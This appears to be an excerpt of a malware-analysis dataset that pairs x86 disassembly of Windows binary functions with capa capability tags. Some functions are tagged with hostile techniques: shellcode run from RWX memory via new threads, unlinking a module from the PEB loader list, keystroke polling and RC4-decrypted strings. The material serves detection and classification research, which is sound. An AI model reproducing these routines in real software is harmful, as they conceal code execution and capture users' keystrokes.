joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10067090
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push edi
mov esi, edx
mov edi, ecx
nop dword [eax]
cmp byte [edi], 0x6a
jne 0x1006712e
cmp esi, 0x1000
jbe 0x1006710a
cmp edi, 0x1000
jbe 0x1006710a
lea eax, [ebp - 8]
push eax
push 0x80
push 7
push esi
call ebx
push 7
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push 7
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.10017f40
add esp, 4
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x1006719a
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.10017f40
add esp, 4
cmp esi, 0x1000
jbe 0x1006719d
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x1006719a
cmp esi, 0x1000
jbe 0x10067178
cmp edi, 0x1000
jbe 0x10067178
lea eax, [ebp - 0xc]
push eax
push 0x80
push 5
push esi
call ebx
push 5
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0xc]
push 5
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.10017f40
add esp, 4
jmp 0x10067192
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.10017f40
add esp, 4
cmp esi, 0x1000
jbe 0x1006719d
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 7
push esi
call ebx
mov al, byte [edi]
cmp al, 0x8b
je 0x100671b4
cmp al, 0x6a
je 0x100671b4
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100670b0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1007e249
mov esp, ebp
pop ebp
ret
Function at 0x10068300
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 1
push edi
mov edi, dword [ebp + 8]
jne 0x10068402
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x10068387
cmp ecx, edi
jne 0x1006837e
mov edx, dword [eax + 4]
test edx, edx
je 0x1006834c
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [eax + 4]
test edx, edx
je 0x1006834c
mov ecx, dword [eax]
mov dword [ecx + 4], edx
mov edx, dword [eax + 0x14]
test edx, edx
je 0x10068358
mov ecx, dword [eax + 0x10]
mov dword [edx], ecx
mov edx, dword [eax + 0x10]
test edx, edx
je 0x10068365
mov ecx, dword [eax + 0x14]
mov dword [edx + 4], ecx
mov edx, dword [eax + 8]
test edx, edx
je 0x1006837e
mov ecx, dword [eax + 0xc]
mov dword [ecx], edx
mov edx, dword [eax + 8]
test edx, edx
je 0x1006837e
mov ecx, dword [eax + 0xc]
mov dword [edx + 4], ecx
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x10068331
push esi
push 0x1c
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push 0xc8
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x100472d0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10067610
push 0
push 0
call esi
pop esi
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop edi
call fcn.1007e249
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100689b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x100689dc
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x100689fe
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x10068a00
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x10068a85
jg 0x10068a15
test esi, esi
je 0x10068a85
test ecx, ecx
jl 0x10068a68
jg 0x10068a1f
test eax, eax
je 0x10068a68
cmp edi, ecx
jg 0x10068a33
jl 0x10068a29
cmp esi, eax
jae 0x10068a33
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x1c]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov eax, dword [ebx + 0x30]
sub esi, ecx
mov edx, dword [ebp + 8]
sbb edi, dword [esp + 0x10]
add edx, ecx
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
test edi, edi
jl 0x10068a85
jg 0x10068a6b
test esi, esi
je 0x10068a85
jmp 0x10068a6b
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x10068a85
push eax
push esi
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10068aa0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], ecx
push esi
mov esi, dword [ebp + 0xc]
test eax, eax
jg 0x10068acc
jl 0x10068ac0
test esi, esi
jne 0x10068acc
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x10068ae5
push eax
push esi
push ecx
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push edi
mov edi, esi
mov edx, dword [eax]
test edx, edx
je 0x10068b1f
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x10068b1f
mov edi, dword [ebp + 0xc]
cmp eax, edi
cmovb esi, eax
push esi
push edx
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [ebp - 4], esi
add esp, 0xc
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp + 0xc]
cmp dword [ebx + 0x4c], 0
mov edx, edi
je 0x10068ba0
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x10068b48
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov edx, edi
mov ecx, dword [ebp - 4]
cmp edi, 0xfff
jbe 0x10068b8c
nop word [eax + eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push ecx
call eax
mov ecx, dword [ebp - 4]
sub edi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, edi
cmp eax, 0xfff
jne 0x10068bb3
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x10068b60
test edx, edx
je 0x10068ba0
push dword [ebx + 0x4c]
push edi
push 1
push ecx
call eax
mov edx, edi
add esp, 0x10
sub edx, eax
sub esi, edx
mov edx, dword [ebp + 0x10]
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp + 0x10]
sub esi, edi
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10068f10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x10068f40
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x10068f70
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x10068f70
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x10069046
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x10068f99
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x10068fa5
movsx eax, bl
jmp 0x10068fdd
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x10069007
sub eax, 1
je 0x10069007
sub eax, 2
jne 0x10069046
movsx eax, byte [ebp - 0x25]
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x10069025
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x10069046
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
je 0x10069046
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1007e249
mov esp, ebp
pop ebp
ret 4
Function at 0x100785a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x1007865c
cmp byte [esi + 0x3d], 0
je 0x1007865c
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x1007864a
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x10078611
sub eax, 1
je 0x10078615
sub eax, 2
jne 0x1007864a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x10078633
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x1007864a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.1007e249
mov esp, ebp
pop ebp
ret

Function at 0x1007b870
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 3
xor eax, eax
mov dl, byte [edi + eax - 0x2dde7edd]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1007b89e
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x1007b881
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x1007b8b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xb5
xor eax, eax
mov dl, byte [edi + eax - 0x39e8c79c]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1007b8de
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x1007b8c1
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x1007b8f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x7e
xor eax, eax
mov dl, byte [edi + eax + 0x47b30cfa]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1007b91e
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x1007b901
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x1007b930
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x90
xor eax, eax
mov dl, byte [edi + eax + 0x2c0f6166]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1007b95e
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x1007b941
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x1007dfe0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1008dabd
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x84]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
push eax
mov byte [ebp - 0x84], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0x67452301
mov dword [ebp - 0x34], 0xefcdab89
mov dword [ebp - 0x30], 0x98badcfe
mov dword [ebp - 0x2c], 0x10325476
call fcn.1007de70
cmp byte [ebp - 0x84], 0
jne 0x1007e131
xor edx, edx
lea ecx, [ebp - 0x3f]
movzx eax, byte [ecx - 1]
lea ecx, [ecx + 4]
mov byte [ebp + edx - 0x18], al
movzx eax, byte [ecx - 4]
mov byte [ebp + edx - 0x17], al
movzx eax, byte [ecx - 3]
mov byte [ebp + edx - 0x16], al
movzx eax, byte [ecx - 2]
mov byte [ebp + edx - 0x15], al
add edx, 4
cmp edx, 8
jb 0x1007e075
mov edx, dword [ebp - 0x40]
mov ecx, 0x78
shr edx, 3
mov eax, 0x38
and edx, 0x3f
sub ecx, edx
sub eax, edx
cmp edx, 0x38
cmovae eax, ecx
lea ecx, [ebp - 0x84]
push eax
push 0x100b6a68
call fcn.1007de70
push 8
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x84]
call fcn.1007de70
xor edx, edx
lea ecx, [ebp - 0x37]
movzx eax, byte [ecx - 1]
lea ecx, [ecx + 4]
mov byte [ebp + edx - 0x28], al
movzx eax, byte [ecx - 4]
mov byte [ebp + edx - 0x27], al
movzx eax, byte [ecx - 3]
mov byte [ebp + edx - 0x26], al
movzx eax, byte [ecx - 2]
mov byte [ebp + edx - 0x25], al
add edx, 4
cmp edx, 0x10
jb 0x1007e0e4
push 0x40
lea eax, [ebp - 0x83]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
mov byte [ebp - 0x84], 1
add esp, 0xc
movq qword [ebp - 0x40], xmm0
push esi
lea ecx, [ebp - 0x84]
call fcn.1007df20
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x1007e173
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1007e169
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1007e169
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.1007eb6f
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret
Function at 0x415d50
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x633f2b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.006289fc
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x415dd2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00626318
mov eax, dword [eax]
push 0x663c94
push eax
call fcn.006184b4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00628c87
test bl, bl
je 0x415dd2
push 0x663c94
lea ecx, [esp + 0xc]
call fcn.00629017
push 0x663ca0
lea ecx, [esp + 0xc]
call fcn.00629017
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA_1]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x415e0e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00628c87
jmp 0x415ed9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA_1]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x415e92
lea edx, [esp + 0x7c]
push 0x663c9c
push edx
call fcn.006184b4
add esp, 8
test eax, eax
je 0x415e92
lea eax, [esp + 0x7c]
push 0x663c98
push eax
call fcn.006184b4
add esp, 8
test eax, eax
je 0x415e92
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA_1]
test eax, eax
jne 0x415e22
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose_1]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00628c87
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4166e0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA_1]
mov esi, eax
test esi, esi
jne 0x416742
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA_1]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey_1]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x416750
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x633fab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x706fd8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x416888
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x4167b6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00628c87
xor eax, eax
jmp 0x4168ff
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00628dc4
push esi
lea ecx, [esp + 0xc]
call fcn.00629053
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x663cd4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA_1]
mov esi, eax
cmp esi, 0x20
ja 0x4168dd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.004166e0
test eax, eax
jne 0x4168dd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA_1]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.004166e0
test eax, eax
jne 0x4168dd
lea eax, [esp + 0x14]
push 0x663cb0
push eax
call fcn.00619600
mov esi, eax
add esp, 8
test esi, esi
jne 0x4168bc
lea ecx, [esp + 0x14]
push 0x663cac
push ecx
call fcn.00619580
mov esi, eax
add esp, 8
test esi, esi
jne 0x4168bc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA_1]
lea esi, [esp + eax + 0x13]
jmp 0x4168bf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00628d74
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x4167ce
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00628c87
xor eax, eax
jmp 0x4168ff
mov byte [esi], 0
push 0x663ca8
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00628c87
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4285b0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState_1]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x42861e
cmp si, 0x69
ja 0x42861e
add esi, 0xffd0
cmp si, 0x11
je 0x4285ee
push 0x11
call edi
test ax, ax
jge 0x4285ee
or esi, 0x2000
cmp si, 0x10
je 0x428603
push 0x10
call edi
test ax, ax
jge 0x428603
or esi, 0x4000
cmp si, 0x12
je 0x428618
push 0x12
call edi
test ax, ax
jge 0x428618
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x42862b
mov esi, 0xbd
jmp 0x4285df
cmp si, 0x6e
jne 0x428638
mov esi, 0xbe
jmp 0x4285df
cmp si, 0x6f
jne 0x4285d9
mov esi, 0xbf
jmp 0x4285df

Function at 0x429fc0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x717810]
xor edx, edx
cmp eax, edx
jne 0x429fe6
xor eax, eax
mov byte [eax + 0x717710], al
inc eax
cmp eax, 0x100
jl 0x429fce
mov dword [0x717810], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x717710
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x42a077
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x42a04a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x42a018
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x42a0f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x42a143
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x42a12a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
